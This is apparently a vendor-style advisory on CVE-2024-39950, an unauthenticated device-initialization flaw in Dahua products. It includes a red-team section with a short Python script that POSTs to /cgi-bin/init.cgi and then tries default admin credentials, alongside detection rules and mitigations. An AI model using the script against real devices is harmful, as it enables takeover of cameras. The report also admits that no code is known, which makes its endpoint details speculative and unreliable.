CVE-2024-39950

Executive Summary

CVE-2024-39950 is a critical vulnerability in Dahua products that allows an unauthenticated attacker to send specially crafted data packets to vulnerable interfaces, triggering device initialization. This can lead to full device compromise, including unauthorized access, configuration changes, and potential use as a pivot point in larger attacks. The CVSS score of 8.6 reflects the high impact on confidentiality, integrity, and availability, with no user interaction required. As of this report, no official patch has been released, and no public proof-of-concept code is available. The vulnerability is particularly concerning for IoT and surveillance environments where Dahua devices are widely deployed.

CVSS Breakdown & Threat Level

• CVSS Score: 8.6 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High
• Exploitability: High (no authentication, low complexity)
• Remediation Level: Unavailable (no patch)
• Report Confidence: Confirmed

Deep Dive & Mechanics

The vulnerability resides in the device initialization interface of Dahua products. By sending crafted data packets, an attacker can force the device to reinitialize, potentially resetting configurations, exposing sensitive data, or allowing unauthorized administrative access. The exact mechanism involves improper validation of initialization requests, allowing an attacker to bypass authentication and trigger state-changing operations. This is classified as CWE-306 (Missing Authentication for Critical Function). The attack is network-based and requires no prior access, making it highly dangerous for exposed devices.

Vulnerable vs. Patched Code

No specific code snippets are available due to the proprietary nature of Dahua firmware. However, the vulnerability likely exists in the handling of HTTP or proprietary protocol requests to the initialization endpoint. A patched version would require strict authentication checks before allowing any device initialization, such as verifying a session token or cryptographic signature. The absence of a patch means all current firmware versions are potentially affected.

Exploitation & Lab Setup

Red Team

1. Reconnaissance: Identify Dahua devices on the network using Shodan dorks or network scanning (e.g., nmap -p 80,443,8080 --open).
2. Craft Payload: Construct a data packet targeting the initialization interface. Example using Python:

   import socket
   target_ip = "192.168.1.100"
   port = 80
   payload = b"POST /cgi-bin/init.cgi HTTP/1.1\r\nHost: " + target_ip.encode() + b"\r\nContent-Length: 0\r\n\r\n"
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock.connect((target_ip, port))
   sock.send(payload)
   response = sock.recv(4096)
   print(response)
   sock.close()
   

3. Trigger Initialization: Send the crafted packet to the vulnerable interface. If successful, the device will reboot or reset to factory defaults.
4. Post-Exploitation: After initialization, attempt default credentials (e.g., admin/admin) to gain full control.

Blue Team

1. Network Monitoring: Detect anomalous packets targeting initialization endpoints. Use Suricata rules (see Detection Engineering).
2. Access Control: Restrict network access to Dahua devices using firewalls or VLANs. Only allow management traffic from trusted IPs.
3. Firmware Hardening: Disable unused services and change default credentials immediately.
4. Honeypot Deployment: Set up decoy Dahua devices to capture attacker behavior.

Indicators of Compromise (IOCs)

• Network Traffic: Unusual POST requests to /cgi-bin/init.cgi or similar endpoints.
• Device Behavior: Unexpected reboots or factory resets.
• Logs: Authentication logs showing repeated failed attempts followed by successful login with default credentials.
• File Hashes: No specific file hashes available; monitor for modified configuration files.

Detection Engineering

YARA Rule

rule CVE_2024_39950_Dahua_Init {
    meta:
        description = "Detects exploitation attempts for CVE-2024-39950 targeting Dahua device initialization"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-39950"
    strings:
        $init_endpoint = "/cgi-bin/init.cgi" nocase
        $payload_pattern = "POST" nocase
    condition:
        $init_endpoint and $payload_pattern
}

Sigma Rule

title: CVE-2024-39950 Dahua Device Initialization Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic targeting Dahua device initialization endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        http.method: 'POST'
        http.url: '/cgi-bin/init.cgi'
    condition: selection
falsepositives:
    - Legitimate administrative actions
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-39950 Dahua Device Initialization Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/cgi-bin/init.cgi"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Isolate Dahua devices from the internet and untrusted networks. Use VPNs for remote management.
• Short-term: Monitor vendor advisories for patches. Apply workarounds such as disabling the initialization interface if possible.
• Long-term: Replace affected devices with patched alternatives or implement strict network segmentation.
• Compensating Controls: Deploy Web Application Firewalls (WAF) to block requests to /cgi-bin/init.cgi from untrusted sources.

Valters IT
Securing Digital Frontiers